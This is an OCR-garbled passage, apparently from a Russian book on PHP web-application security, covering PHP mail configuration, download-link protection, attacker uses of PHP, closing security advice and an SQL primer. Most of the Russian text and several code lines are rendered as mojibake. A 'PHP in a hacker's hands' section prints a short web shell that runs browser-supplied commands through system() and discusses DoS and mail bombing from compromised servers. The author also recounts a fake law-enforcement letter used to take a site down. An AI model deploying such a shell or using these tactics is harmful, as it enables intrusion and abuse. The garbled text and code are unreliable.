BEp U1 PAacChIIKH 3abupaeT CHMCOK NMONL30OBaTeNel WM [MOAY4AaeT ero ¢ rnomMo-
1IbIO 3anpoca K 6ase JaHHBIX W HEMOCPEACTBEHHO pacChllaeT coobIeHus.

5.9.3. Coepgunenue c SMTP-cepeepom

B pasdere 5.9.1 mpl y3uanu, 4to IS OTNpasku coobuenus Heobxomanm SMTP-
cepeep. Ho dyHKums mail () He npelocTaBaser Bam crocoba yKasaHus ceppepd,
KOTOpPhIH HY)XXHO MCHONB30BATh IS OTHPABKH cooblieHui, 1 napaMeTpoB A0CTy-
na K Hemy. Bce oueHb nmpocto — B pasaene php.ini ects pasgen [mail functions],
e HACTPAMBAETCSH cepBep, KOTOpPLIl GyleT MCIONb30BATLES [Wisl OTIPABKH CoOl-
HEeHUH:

[mail function] ¥

; For win32 only. (Tomexo ana Windows)

SMTP = localhost

; For Win32 only. (Tonexo mna Windows)
sendmail_ from = me@localhost.com’

; For Unix only. You may supply arguments as well

; (default:; 'sendmail -t -i').

; Tonmexo jyuia Unix. Bel mMokeTe Takke yKasaTe apryMeHTH
; (no yMomuauup uCRONLSyeTCA KoMauma 'sendmail -t -1i')
;sendmail _path =

C nomoubio NapaMerpoB SMTP W sendmail from MOXHO 3a1aTh NapaMeTphl cep-
sepa, eciu Bel paBoraere B Windows, a ¢ moMoumpi0 sendmail_path 3anaercs
AocTyn K nourosoii cayxbe B Unix.
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B OC Unix cambiM momyisipHbiM cnocoBoM OTTIpaBKi MOYTHl SABASIETCS Npo-
rpamma sendmail. Ho, HecMoTpst Ha TO, YTO MMsI TIPOrpAMMBI COBIANAET ¢ WMe-
HEM MapaMeTpa sendmail_path, Bbl MOXETe yKasplBaTh W Ji06yio Apyryio rpo-
rpammy. HMHOE efio, 4T0 MO YMONYAHWIO MCNO/AL3YeTCsl JIOKANBHAS [porpamMma
sendmail, ¥ eciiM BBI XOTHTE 3TO M3MEHUTh, TO YKAXUTE MOAHBIL [TYTh K HYXHO-
My SMTP-cepsepy. Crenyioumit npumMep noxkasplsaer, Kak saxarth gmail B kage-
CTBE MPOrPAMMBI OTIPABKK COOBIIEHMIA:

sendmail_path=/vdr/qmail/gmail-inject

5.9.4. Be3onacHOCTb 3NEKTPOHHON
noYToBOW CNy>X6bi

PaspabarsiBag cueHapuii paborsl ¢ cOOOIEHHSIMU TEKTPOHHON MOYTHI, HYKHO
GbITh Mpeie/ibHO aKKypaTHbIM. B ominyKe oT B3jl0Ma CAMOro cepsepa, cyLlecTBy-
eT OMacHOCTb TOTO, YTO XaKep BOCTMOJIbL3YETCS BALIUM CLEHapHeM U pacchiIKu
criama mo BaiieMy ke CIMCKy pacchuiki. OnHa Takas pacchUiKa MOXET [mocra-
BUTH GONBIIOIH M KUPHBIH KpeeT Ha pasBUTUM caiita u Ha OynylueM Baulero cep-
Bepa. B HacTosiuee BpeMsi OTHOWIGHHWE K CIaMy HeraTuBHOE, W GONBILMHCTBO MO-
ceTHTeIel Takoi omnOKy He NMPOCTHT.

Yrober obesonacuts ceba o BaTOMa, HEOBXONHMO npanmno HacTpouts SMTP-
cepsep. Ecim OH nozBonsier OrpaHAWYMTh KPYr CHCTEMHBIX MPOIpaMM, KOTOPbie
MOXHO 3amycTHTh, TO Heobxomumo chenarh 3ro. Hanpumep, B KoH$purypauuu
MoxeT ObITh 3a4aH KaTajlor, TaK 4TO TOMLKO MpOrpaMMbl W3 3TOro Karaiora Gyayr
sanyckatbes U3 sendmail. Cremyer Bocrmosnb3oBaThesl ITUM napaMmeTpoM, a B Ka-
YecTBe PAIPEIIEHHBIX MOKHBEI OBITH TONMLKO GE30MACHBIE NMPOrpaMMBl, KOTOphIe
HE TO3BOAT BIIOMATE WIN YHHUTOXHUTH cepBep.

IMomumo samursr camoro SMTP-cepsepa, HeoGXoauMO akKypaTHo ofpauiarscs u
¢ momyyaeMbIMH CLieHapHeMm napamerpamu. B pazdese 3.6.2 Mbl paccmarpuBaiu
PEryAsPHOE BHIPKEHHE, C MOMOLIBIO KOTOPOTO MOXHO NPOBEPUTh MEKTPOHHBIN
ajpec Ha HAIMYME HENOMYCTHMBIX CHMBOJIOB M WCHONb3OBAHUE HEBEPHOro Gop-
mara azpeca.

5.10. 3awura ccoinok

Odenb YacTo GeiBaeT HEOOXOAMMO 3AIMTHTh CCBUIKH, YTODOBI Xakepbl HE MOIJH
CKAYMBATH onpeneneHHbie dainbl HanpsMyo. e 310 MoXer ucronb3osarses?
Honycrum, uto BBl paspabarbisaere caift, Ha KOTOPOM pPACHONATAIOTCSH WHCTANLIS-

upoHHbe aiinbl nporpammbl. TIpu sTom hailisl AOMKHB GbITh AOCTYITHBL ISt
CKaYMBAHWS TONBKO MOMB3OBATENSIM, NPOWIEAUNM GECILIATHYIO PErHCTPaLMIO Ha
caiire. Vimeercs B BUAYy perncTpanusi Ha caiite, a He MOKYIKa rporpaMmsl. Takoe
GbiBaeT J0CTATOYHO YacTo Ha Shareware-caiitax, Befb paspaboTYHKK XOTAT UMETH
HHGOPMALUIO O TIONB30BATENAX, KOTOPbIE CKAMMBAIOT ¥ UCTIONBIYIOT MX IPOAYKTSI.
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Hawa sazaya — samackmpoBarth peajbHblii anpec daiina, 4ToOBI XaKep He cMmor
ofoiiTn perucTpaumio 1 BeIoXNThL npsimoii URL-anpec daiina Ha ceoem cafirte.

WneansHoro BapuaHTa 3ailiMTHl 5 €IIE HE BCTPEYdl, H B TONOBY HHMYETD HE NpH-
xoaur, Maiin NEXKUT Ha cepsepe, U Wid Hero ects onpepenennsit URL, kotopeiit
XdKep MOXeT OlpefenuTs BO Bpemsi perucrpaiau. Ha nepssiit B3, MOxHO
nonoxuts dain B nanky, 3auMieHHyi0 napoieM Apache, a naposib BLIIABATH
TO/IbKO TTOC/IE PErMCTPalMy Ha CEpBEpe, HO 3TO pEleHHE TaKKe He SABaAeTeH
MISATEHBIM, TOTOMY 4TO co3jacT npobaemsl H06PONOPANOYHBIM MONb3OBATEIIM,
a XaKepbl ¥ TaK 3aMoMHAT ajpec # OYIYT ero UCroab30BaTh.

Bonee addexTuBHOE pemienue — KaXisle HECKOALKO IHel (Hanpumep, pas
B HEAeio) U3MeHsTh umst Gajiia WK ero pacrosiokeHue caydaiinsiv obpasom u
CcOXpaHsiTh HOBEII anpec B 6aze nanHbix. CaMoMy CIEHAPUIO HE COCTABISeT Tpyna
MONYYHTL HOBBIH @ipec 3 Toit ke Gassl naHHbIX. B atoM cnyuae, aaxe eciu xa-
Kep MOMECTHT MPSMYIO CChUIKY Ha cBoeM Warez-caiite, aTa ccblika yepes orpe-
IIeNeHHoe BPEMS ycTapeeT, M TIOJNb30BATENsIM TPHIETCH PETMCTPUPOBATLCS Ha
cepBepe JNeraibHbIM obpasoM. UsmeHeHue daitna ¢ MOMOIIBIO CUEHAPHS He Tak
YK W CIOXHO A cepBepa, HO 623 3HAHKA AIropuTMa OYeHb HEYLOOHO LI Xakepa.

5.11. PHP B pykax xakepa

B nocnenxee Bpems g cran 3amedarts TEHASHUMIO, TIPH KOTOPOH MHOIME aIMuMK-
CTPATOPbl OTKA3BIBAIOTCS OT Mcnonb3osaHus a3uika Perl Ha ceoux cepsepax. [lo-
yemy? eno B ToM, uro B MuTepHere MuoxecTso cuexapues Ha Perl, xoropue
MO3BOAIOT YNPOCTHTH XaKepy BanoM cepsepa. Ui Toro 4robbl BOCMONB30BATHEA
STHMH CUEHAPHAMHM, HeOOXOMUMMO MMETh MHHMMA/IbHBIE TIPABa B CHCTEME.

C apyroii croponsl, Geiryer mMuenue, uro PHP Gesonmacuee. Insuts Ha pasmep
KHHIY W YYUTBIBAsE, KAK MHOrMo Mbl FOBOPHIN 1po Oe30MacHOCTh, BBl MOHKMAETE,
YTO 370 MHEHHE, MATKO roBops, criopHoe. B peanbHocTH, moboii sA3eIK mporpam-
MHMPOBaHHS ONACEH B PyKaX HEOMBITHOTO MM HEBHUMATEIBHOTO NMPOTPAMMUCTA,
n moboil a3uK Besonacen B pykax npodeccuonana. Ho maxe mpodeccnopan
MOXET OIHOUTLEHA, W OYKBANBHO HEIABHO $i JOMYCTHA TaKylo ommbKy B pery-
JISIPHOM BBIDAKEHHH:

$varspreg_replace("/[*a-z0-9[] -_\nl/i", "", Svar):

JlarHoe BRIDAKEHWE ypanser pee, Kpome 6yks, uudp, cuMBonoB [ u ], npobenos,
THpE, NOX4EPKUBAHUI H CHMBOJIOB NEPEROAA KapeTKy. Bernuiil B3I He noKassl-
BAET HMKaKuX OLIHGOK, HO €C/IH NPHCMOTPETHCH, TO OKAKETCsI, YTO CHMBOJBL [ M ]
SBISAIOTCS CAYKeOHbIMM M 0OBEAMHSIOT HAGOp AOMyCTHMBIX CMMBONOB. B maHHoM
ciyqae B KBAIPATHLIX CKOOKAX HUYEro HeT, & 3HAYWT, BRIPAXKEHWIO [] COOTBETCTBY-
er moboit cumBOi, @ 3HAYMT, (DYHKUMA preg_replace() aBComMOTHO HHYEro He
Beipexet. [TpoGnema pemaercs aobasneHuem obpaTHOroO CAaIA:

Svars=preg replace("/["a-z0-9\[\] -_\nl/i", "", Svar);
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Hepenko nporpamMMucTsl omubaiorest npu pabore ¢ pycekumn Gyksamu. Ecou
Hanucarb a-z, TO B 3TOT AManasoH nonamyt sce OyKBhl kKpome "&". D1y GyKBY He-
06X0NUMO yKashIBaTh B SIBHOM BUIE:

$var=preg_replace("/["a-za-a80-9\[\] —_\nj/i", "*, Svar);

To, uro Ha siseike PHP Memrbiiie nmporpaMM-3KCryiouToB, elie HE 3HAYHT, HTO
PHP 6esonaces. fl 1noka He BeTpevancs ¢ TAKOi samayeil, KOTopylo Hebas 6bUi0 Gbl
peamsosare B PHP, a ecnv Takas 3amaua BOIHMKAET, TO BCEria MOXHO BOCTIONb-
30BaATHCS ¢|ynxnneﬁ system(), Kak MBI 9TO JeJali B pasdene 5.8 npu cO3MaHUN
Web-Bapnanrta yTutMThl ping.
Tor daxkr, 4TO B AI3bIKE PHP mano xakepckux yTHAMT, HHKOIO HE OCTAHOBMT.
Hanpumep, ecau ecan xakep monywwi moetynm K FTP wmu mioGoit apyroit moetyn K
cosnanuio daitnos Ha cepsepe, emy Gyner JOCTATOYHO CO3AaTh cueHapuii co cie-
JYIOUAM COMEPKUMBIM:

<?

<form action="system.php" method="get">

Command: <input name="sub_com">

<BR><input. type="submit"' value="Run">

</ form>

<PRE>

<?php
system($sub_com) ;
print ($sub com) ;

?>

</PRE>

?>

3arpysus s1or cueHapuit us Web-6paysepa, xakep mosydaer HocTyn K BhIONHE-
HHIO KOMAH Ha ylareHHoM cepsepe ¢ npasamu Web-cepsepa.

B Hacrosulee Bpemsl MOSIBUIOCH VXK€ JOCTATOYHO MHOTO HEOOMBLINX ClLeHApHes,
KOTOpLIE NMo3BosisioT nonyynts Web-unrepdeiic K daiiiosoii ciicreme ynaneHHoro
xoMmmnblorepa. Ecnu HameauTh Hall cueHapHii BO3MOXHOCTHIO pabotsl ¢ daiimamu,
TO €ro yXe MOXHOo OyAeT Ha3BaTh nonHoueHHBIM Shell (obomouka wist BEINONHEHUS
KOMaH/I Ha YIATEHHON CHUCTEME) NOCTYIIOM C BUIYATLHBIM MHTEpdhEecoM.

B pasdese 5.5 mut yBunenu, uro PHP MoXer Mcnosib30BaThest XakepoM M VISl Bbi-
TIONHEHHS CETEBBIX ATAK ¢ cepsepd. JomycTuM, 4To HeoOXOAMMO MPOBECTH ATaKy
oTKasa orT obCHy:KWBaHMS HIM YCTPOHTH MOYTOBYI0 GoMmOGapAMpOBKY XepTBbl.
C nomomsio PHP-cueHapyes MOXHO peajn3oBaTh W TO, W APYroe M NpH STOM
ocTarhes aHoHUMHBIM. [isl 3TOr0 Xaxkep BanambiBaer Kakoii-iub6o Web-cepsep
u nomeiaer Ha Hero csoil PHP-cuenapuit, koropsiii Bbimontser Heobxonumbie
neicCTBHS.
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B cnyuae ¢ arakoii oTkasa ot ob6enyxusadua (DoS) xakep Moxer Hanucarh cue-
Hapuit, Kotopseiit Gymer GombBute cepsep GecemblicneHHbIME 3anpocamu. Ecam
CUEHAPHIA 3amyCTHUTE € JOCTATOYHO MOLUIHOTO cepBepa ¢ IMUPOKUM KAHAIOM,
TO MOXHO 3aCHINATH MYCOPOM TpaKkTHYeCKH oboit kommsiotep. To Xe camoe M
¢ noyToBOit GoMGapaHpPOBKOIL. Halmca'rh LIAKIT ompam m 1000 iucem MOXHO
3a 5 MHHYT,

Mcrnonb3oBaHue BATOMAHHOTO Cepaepd TO3BONSET XAKEepy OCTATHCH AHOHHMHBIM.
Il aTOrO OCTATOYHO YNPAMIATE BINOMAHHBLIM cepsepom u3 Web-Opaysepa,
NOAKJIIOYASCH Yepe3 AHOHUMHBIA MPOKCH-CepBep, KOTOPhIH CKPLIBAET peasbHbil
[P-anpec xakepa.

3aunauatecs OT TAKMX ATAK OYeHB CIOXKHO. Moxwo serucinTs IP-anpec, ¢ Ko-
TOPOTO MPOMCXOMMT ATAKA, H ¢ MOMOLIBIO CETEBOro IKpaHa QUILTPOBATH TPAUK.
Ho 570 pemieHme MOXeT OKa3aThesi BPEMEHHBIM, motomy 4€ro B MuTeprere
CIMIIKOM MHOTO CailTOB ¢ HebOe3oMacHBIMM CLICHAPHAMM, Yepe3 KOTOphIE XakKep
MOXET 3ARTANETh HOBBIM CEPBEPOM M NIPOJOIKNTD ATaKy.

fAspikn nporpammuposanus st Web-cepsepa ouens yaobHbl wist coznanus Web-
caittos, Ho TaKke n 3hdexTHBHLI B pyKaxX Xakepa. DTo KaK nmUCTONET, KOTOPLIN
MOXET HCronab3oBarscsa s obecrievyeHnss 6e30MACHOCTH, HO MOXET MCIONB3O-
BaTheAl WM Ui paspywieHuit. Ha nepeuiii B3risam, CUTYALMIO MOXHO HCHPABUTH,
eciy ClieHapuu cTaHyT GesonacHee, HO $1 AaXe He Mory cebe MpencTaBUTb ITOT
paii. Bopsba XakepoB MPOTHB AIMHHHCTPATOPOB W MMpOrpaMMucTOB GyneT Bew-
Holt, kax Gopsba nobpa u ana. Xouerest HANEATHCS HA TO, YTO KOAWYECTBO XaKe-
pos Gyner ymenswarses. [Mpodeccuonanst B obract HHGOPMAUMOHHEIX TEXHO-
noruil MOJKHBL MCMONB30BATH CBOM 3HaHus Bo Oraro obliecTsa, a He BO 3.
Sl He NMONUTHK, HO MPEKPACHO MOHNUMAIO, YTO MOTOAEXKH MPOCTO HANO HaTh paGo-
Ty. UMEHHO OHM Yalle BCEro BANAMBIBAIOT CHCTEMBI, TIOTOMY HYXHO HAlpPaBUThL
3HAHUS MONIOIBIX CICUMATHCTOB B IPABHILHOM HANPABACHHH.
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Xotenoch Gbl MOABECTH KAKYIO-TO YEPTY M HAIOMHMTD BAM OCHOBHBIE NPHHLMITAL
GesonacHoCTH, KOTOpble Mbl paccmorpenu. Bripouem, xorma peus uzer o Geszo-
[IACHOCTH, TPYIAHO BBIAEAUTE rasHoe. JlioGas Meno4b MOXET 0Ka3aTbCsi POKOBOIA,
NO3TOMY HeoOXomMMO oOpalaTh BHUMAHWE HA KAKAYI0 CTPOYKY CO3ABAEMOIO
Kona. .

MHorue nporpaMMHCTBI NMHMIIYT CLUEHApMM TAK, YTO Juumb Obl oHM paGorany,
a 0 Ge30MacHOCTH HAYMHAIOT 3aLyMBIBATHCA TOJNBKO TOLAA, KOTAA IPAHET [POM M
cepsep Banomator. He aymaio, uTo cTOMT AOBOINTEL A0 3roro. He aydiie am cpa3sy
Ke yAeNuTh BHUMAHME 3aliHTe W MOCTApaThCs MAKCHMAIBHO MPeaycMOTPeTh Bee
XOIbl XaKepa, KOTOpbIe OH MOXET McnonbsosaTh?! B atom cayyae rpom moxer
TPSIHYTh HE TaK CKOPO, W MOCJeACTBUA GyAYyT HE CTOJb MUTaYeBHBIMHE.

[Mpn HanucaHMM KKAOH CTPOMKHM KOIa Bbl AODKHBI MOMHHUTH: HeoGXoammo 3a-
TIpelaTh BCe, YTO SIBHO He paspelueno. [Tposepsis kaxuwiit napameTp, orkyaa 6u1
OH HHM nNosgBHICA (mepesaH MeTONOM POST WIM GET WIM NpounTaH M3 daiina
cookie), HY)XKHO € NOMOLUBIO PEryJIsipHBIX BHIPAXKEHMH NMPOBEPSTH KOPPEKTHOCTH
napaMeTpa WiH YAQISTh U3 HEro BCe 3anmpeLieHHbIE CHMBOJIBL

Cnenurte 32 HOBBIMM TEXHOJOTMSIMM B3/TOMA, KOTOPbI€ MNPHUAYMBIBAIOT XAKEpPhI.
DIUTHBIX XaKepoB He Tak MHOTO, M 0G/aro, YTO JANEeKo HEe BCe OHM MCMOMB3YIOT
cBoe yMeHue mist Banoma. Ho gaxe HeGombluoe KOJMYECTBO rpodeccuoHanbHbIX
XaKepoB TauT B ceGe cepre3Hyio yrpo3dy. OUeHb YaCTO CNYYaeTCst, YTO el KTO-TO
HaxXoAUT OWKUOKY B nporpaMMeé OIHOro MpPOM3BOAWTENs, To NojobHas olwubKa
TIPUCYTCTBYET M B AHAIOIHYHON MO HA3HAYEHWIO NpOrpaMmMe APYroro Mpon3Boiu-
Tenst. Jleno B TOM, YTO BCE MBI YYHMCS 1O OIHUM M TEM Ke KHHUIaM, a, cJlefloBa-
TENbHO, MBICIMM MPHMEPHO OAWHAKOBO WJIX KO JUISl CBOMX clieHapues GepeM w3
OTKPBITBIX HCTOYHHKOB (KHHT, GecruraTHrIX npuMepoB). Ho crour ogHoMy xakepy
CHEaTh YTO-TO HEOpAMHAPHOE, KaK OOHAPYXWBAETCS YSA3BUMOCTD B TUIIHYHOM
ClLEHApUH.

B nanHoil KHUTE 1 cenuansHo He aenan ynop Ha 1o, KakHe UMEHHO perynsapHbie
BBIDAKEHHSI HYXHO HMCHONb30BaTh. Jla, Mbl paccMATPHBANM TIPUMEPbI, HO OHM
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HOCHIW 4KcTo HMHbopMaunoHHblil Xapakrep. CerofHsi peryisipHoe BbipaXKeHue
KOPPEKTHO MpOBEPAET MapaMeTp M MOXET rapaHTUpoBaTh GE30MACHOCTE Pe3ylb-
TATA, 4 3ABTPA MOABSTCS HOBblE BUMbI ATAK, HOBbIC YA3BUMbIE (DYHKLMM WIK TErw,
M TOrIa Bee, KTO OyAET MCIONb30BATh TAKHME PEry/IsipHbIE BBIPAKEHMS, OKAXKYTCS!
MOA MpULIENoM XakepoB. Mup He CTOMT Ha Mecre, ¥ Bbl He HOXHBI OCTAHABIN-~
BATLCS B CBOEM Da3BHTHH. -

W nocnenxee — obpabarsiBaiiTe Bce HellTaTHbIE cmalmn M KOppekTHo oTpaGa-
ThiBaiTe Bee OWIMOKM BO Bpems BhiMoNHeHus cueHapues. [Ipu aTroMm none3osate-
IO HYXHO nokassiBaTh Ha Web-crpaHuue tonbko Heobxomumbiit Munumym. Co-
obuwenns o6 omnbkax MHGOPMATUBHBI U MO3BOJSIOT XaKepy y3HaTh CTPYKTYPY
paieit 6a3bl JaHHBIX WIH UMEHA MCTIONB3YeMBbIX (PYyHKUMIL.

Ho naxe ecnam Bbl Oynere crnenosarh abcomorHo BeeM TpebosaHusiM GesonacHo-
CTH B MPOrPaMMUPOBAHHM M CUSHAPHH BYayT MACANBHBIMU, Bbl HE 3alUMILEHBl OT
sanoma. IMoyemy Tak? BermoMHHM, 4TO 6e30MacHOCTh JNO/KHA ObITH KOMILIEKC-
HOM, TO ecTh Ge30NAaCHBIMU JOMKHBE GBITE HE TONBKO Tporpammel, Ho u OC, sce
paboTalolife Ha CEPBEPE CIyKObI, MPOrPAMMEI 1 1aXe CeTeBoe 0bOpyIoBaHueE.

Ho u 310 eme He Bee. Overb YacTo BO B3jIOME [OMOTAeT COUMANbHAA MHXKEHE-
pHsi, C MOMOLIBIO KOTOPOii XaKepsbl YGEXAaloT Jiofelt BepuTh B TO, 4Yero oMM
xorsit moburscst. Hanpumep, HeftaBHO MHE ymanoch YGenHTh aAMHHUCTPATOpOB
XOCTUHTOBOM KOMIAHMM 3aKphITh OLMH U3 CBOMX caiftoB. i 3TOro anMuHmeT-
pauuu OBUIO HAMpapieHO MHCBMO, B KOTOPOM OT MMEHH MpPaBOOXPAHUTENBHEIX
OpPraHoB TOBOPHJIOCK, YTO calT concpx'm HesleraibHy10 uHdopmaunio. Caiir 6sut
cpasy Xe 3aKkphiT, @ [TOTOM yXe Hayanochk pasbupareibeTBO, €CTh JIM YTO-HUOYIlL
HeserarbHoe. KoHEeYHO Xe, yepes Kakoe-To BpeMs BCE BEPHY/IOCH HA CBOM MecTa,
HO akT Toro, yro caiT 5HJI He.uocryneu B TEUCHME JIBYX 4acOB, YXe ABIAETCH
MTOMOXKHTENLHBIM Pe3yIbTATOM.

O coumanbHol WHXEHEPUH XOpOLIO pacckasaHo B kuure Keswxa Muthuka "The
Art of Deception: Controlling the Human Element of Security" [5].

M Bce Xe, 1 Hameloch, YTO 3T KHUTA MOMOXET CAENATh Ball cailT Wi, mo Kpait-
Helt Mepe, cuienapuu GesonacHee.
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MNMpunoxexue 1

OcHoBbl A3bika SQL

Aapik SQL sinsiercs craHnaprom gocryna k 6asam maHHbX, OH NOCTATOYHO CIO-
KEH W HMeeT HecKOIbKO pasmuuubix Moaudukauuit (ANSI SQL, Transact-SQL,
PL/SQL), Mbt Xe ocraHoBuMcsi Tojibko Ha ocHosax ANSI SQL, uro nosso-
JINT BaM NOHMMATE OCHOBHEIE 3ar1pockl ¥ TECTHPOBATH CleHapuu Ha GesonacHoCT..

Boibopka gaHHbIX

OcHoBHO# onepaTtop, ¢ MOMOLIBIO KOTOPOro MOXHO MOJNYYUTH NaHHBIE M3 Gasbl
HaHHBIX, — SELECT, KOTOPBIH UMEeT MPUMEPHO CReAVIOUIHil BIlL:

SELECT cAMcOK_nojei uepes Sanatyio

FROM 1ma_Tabumiig

[ WHERE ycnosus suopwu )

Ora ynpoumenHas dopma nosBoaseT pasuaenuTh BHIGOPKY AaHHBIX Ha vactH. [lo-
CMOTPHM, YTO J@eT TaKoe pasfe/ieHne:

0 SELECT — OCHOBHOIl Ofneparop, rnocjie KOTOpPOro MAeT TnepevyHcieHHe Moiueill,
HeoOXOOMMBIX [UISI TIOYYeHMs OT cepBepa;

(0 FrROM — B 9TOif ceKUMM WOeT onmucaHWe TabnMLl, M3 KOTOpPHIX HeoGXOmMMO
MPOYHUTATE AaHHBIE,
O WHERE — Mapamerpsl MOUCKA, OrPAHWYEHUS BHIBOMMMBIX AAHHBIX,

Oneparopsl SQL HeyyBCTBUTENBHBI K peructpy, Ho 4robel 6nuio yrobHO ux or-
nn4aTh, MBI OyeM HaGupaTs UX B BEPXHEM PETHCTPE.

Hasaiire paccMorpuM npocteitmit 3anpoc. Jonyerum, Yro y sac ecTh Tabauua
nonb3oBaTeNed, 3aNMCH KOTOPO#H COCTOST M3 TPeX Monei: wma, napons H
mava_poxmesus. YTOOB! MONYYHTH BCE 3alTUCH STOM TAGNMIIBI, HYXKHO HAIMMCATH
3anpoc:

SELECT A, napoib, HATa PORNEHUA

FROM TonesosaTeny
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Bce 3ampochl HAYMHAIOTCS ¢ OMepaTopa SELECT, 4To o3Hauaer "seibpars”. Tlocne
KOMaHAbLl TIEPEMHCAAIOTCs HasBaHMs Tojeil, KoTopble HeobXOMMMO BHIOpaTh W3
Gasbi jsanHbX. Oneparop FROM YKasbiBACT WCXONHYI0 TAGNMIL (MIM HECKONLKO
tabnul yepes 3anaATyIo). Oneparopsl SELECT W FROM SBASIOTCH obA3aTe/ILHBIMH 1
npucyreTsyior Beersa. B panHoM npumepe BeIGOpPKA MPOMCXOAMT W3 TabaMiel
lMonesosaremm, W BEIOGUPAIOTCS TP MO man, naposs, faTa_pPOXIeHMA.

Ecnu suibupalorest Bee monst u3 Tabamisl, TO HeT CMBICAA mepedMcisTh uX. [loc-
TarovuHo nocjie oneparopa SELECT HAIUCATh CHMBOJ *:

SELECT * -

FROM TNonssonaTem

Kaxnuii sanpoc Jo/KeH 3aKaHYMBATBCS TOYKOM C 3ansTOM, HO eciu Bbl BRITION-
HSIETE TOJILKO OJMH 3arpoc, TO ITOT CHMBOJ MOXHO OMYCTHTh. Ecnu HyXHO Bhi-
IOJTHATE IBA OTIEPATOpPa SELECT, TO MX MOXHO HAlucaTh claeayoumm obpasom:
SELECT * FROM users; SELECT * FROM forumdata;

Tenepsb NO3HAKOMHMES ¢ OMEPATOPOM WHERE, KOTODBIi 3a1aeT KPUTEPHH TIOMCKa.
Hanpumep, vam Hamo seibpars Bee 3ammcH w3 TabaMibl Hoib3oBaTeNeit, rie
B Mojle mua copepXurcsi ums Aumpeil. B arom cnyqae HeoOXonUMO HanmMcars
sarnpoc:

SELECT *

FROM TlonwsosaTenmu

WHERE mmva = 'Ruppeit'

Ecau nporosoputs Bech 3anpoc cioBamu, To oH Gyner 3syuath Tak: "Beibpars nee
13 Tabauubl Nonssosareny, TAE NOJE was PABHO Axgpesi”. Elle OIHO 3aMeyanue:
CTPOKH B 3ampocax BBUIENAIOTeA Kasbldkamu. B 3asmcumocT oT 6asbl JaHHBIX
KAaBLIYKN MOryT ObITH OAMHAPHBIMK WIK ABOHBIMK, CTaHapToM npenycMoTpe-
Hbl ABoiiHBIe KaBbYKH, HO B MS SQL Server npumensiiores oauHapHsie. B cran-
IapTe JUlsl CpaBHEHMS CTPOK WCMOML3YeTcs ONepaTtop LIKE, KOTOPsIA craButcH
BMECTO 3HAKA PABEHCTBRA!

SELECT *

FROM TonssocBaTand

WHERE o LIKE 'Aunpedt’

Oneparop LIKE paboraer MeUIeHHEEe, TAK KaK MO3BOJSET NPUMEHATH WAbNOHEI,
O KOTOPBIX MBI elle MOTOBOPHM, MO3TOMY B 3anpoce 0Ge3 wabioHa XenaTenbHo
HCTIOJIB30BATh IHAK PABCHCTEA.

Crannapr SQL nipesycmarpusaer cIefyolie onepatopbl CpaBHeHHsL:
0 = — pasHoO

O > — Goasuie

0O < — meHsblle
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0O >= — Gonblie WK PaBHO
0O <= — MeHbllle Wi paBHO
0 <> — He paBHO

Onepatopbl “Gonbiue”, "MeHble" ¥ AP. MOKHO HCHONB3OBATH HE TOABKO € MUC-
JIaMM, HO M €O cTpokami. B atom cayuae Gyksa "A" Gyner menniie, yem “P". Mpu
CPABHEHHH CTPOK Pa3HOTO PErMCTPa MEHbLIEH OKA3LIBAETCH CTPOKA B BEPXHEM
perucTpe, Hanpumep, "A" Oymer mensie “a", u "P" 6yner mensie “a". Ho mom-
HHATE, YTO He Beceraa 6asa NaHHBIX qync‘rsmmua K perucrpy, 510 3aBHCHUT OT
HACTpPOEK.

Jlasaitte BiGepeM M3 6assl JAHHBIX BCE 3aMUCH, B KOTOPHIX UMEHA HAYHHAIOTCH
¢ Oyksel, Gonbuueit, yem Gyksa "C":
SELECT *
FROM [losie30BaTEIM
WHERE Mma > ‘C'
[Mpeanonoxum, B Tabauie ectb noassoparenn Cepreit, Cnasuk u Tumodeit. To-
ra Bce OHM nonanyt B pesyabrar. Ho mouemy tam okaxyrcs Cepreil 1 Cnasuk,
Bellb y HUX nepsas Gyksa paBHa "C", a MBI 3aNpocHiIH cJIoBa, Tie ¢rpoku 6ojib-
we, yem "C"? Jleso B TOM, YTO NMPOMCXONWT CPABHEHWE BCErO COBA, A MMEHa
conepxar Gonee oxHOl GyKBH Ecimm 661 ums Goito COKpaUieHo 10 OIHOH OYKBBI
"C", To Takas c'rpoxa He nonana Gbl B pe3ynsTar, HO CoBa ¢ OONBLUIMM Kouye-
cTBOM BYKB B HEro nomajaior. 910 BCe PaBHO Kak OTKPAITH CNOBAPb, HAYHHASA
¢ 6ykael "C". CaMa Gyksa HE BKIIOYAETCH B PE3VILTAT, HO BCE CNOBA, colepxa-
e Gonbure 6yks, GynyT BLIBEAEGHBI HAa 3KpaH.
Wroraa tpebyercs: BuIBECTH HA 3KPAH PE3Y/LTAT 3afipoca, HO cam oH obssaTesnb-
HO Jo/KeH ObITh mycTsiM. [Usi 3Toro HeobxoAHMMO HanucaTh TAKoe ycioBue, Ko-
TOPOE HABEPHAKA HE BEPHET HU ONHON CTPOKH. MOXHO BLULYMbIBATH KAKHE-TO
CJIOXKHBIE CPAaBHEHWA B CEKUMM WHERE, HO caMbiM 3¢deKkTHBHBIM BApHAHTOM Gy-
HET CACNYIOLIHIL:
SELECT *
FROM TonszaoBaTeim
WHERE 1 = 0
B KavecTse NPOBEPKH WHERE CTOMT YC/IOBHE 1 passo 0, HO 3TO YC/lOBHE He Moxe'r
GBITH BHITOJHEHO, & 3HAMT, B PE3y/IbTaTe HUKOLIA He GYET Hit OXHOM CTPOKM.
Teneps YCIOKHUM 3anpoc ¢ momolsio Gyresbix oneparopos. B crannapre mpe-
JYCMOTpPEHO TpH ByJIeBbIX oneparopa: AND (normueckoe M), or (mornueckoe WIIH),
not (noruyeckoe HE). Cpasy xe paccMoTpuM [IpUMEp:
SELECT *
FROM [onsaosaTenm
WHERE g = 'Axppeit’

AND mapons = 'gwerty'
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PesynbraT 3anpoca — BCE CTPOKH, COAEPXallue B MMONe ums UMS Auxpedr, U B No-
1€ napone 3HAYEHWE PaBHO gwerty. ECIM Kakoe-To M3 3THX yCAOBHil He BEINOJ-
HHTCH, TO cTpoKa He Byner sbibpaHa.

Tenepb paccMOTPUM MPUMEp, B KOTOPOM BhIGHPAIOTCA BCE JMIOAM ¢ UMEHEM AHIl-
peit wan Cepreif. D10 3HAYMT, YTO HYXHO OOBEAMHMTD 3TH /ABa YCJOBHSI 4Yepes
oneparop OR:
SELECT *
FROM TonezosaTenm
WHERE ipqn = 'Annpein’

OR max = 'Ceprei’

B pesynsrar momamayTr BCe CTPOKM, B KOTOPHIX B 11016 HMEHH COIEPXHUTCS 3Hade-
HHe Ausped WIK Cepreit. PaccMOTpHM clieayiolmii 3anpoc:

SELBECT *

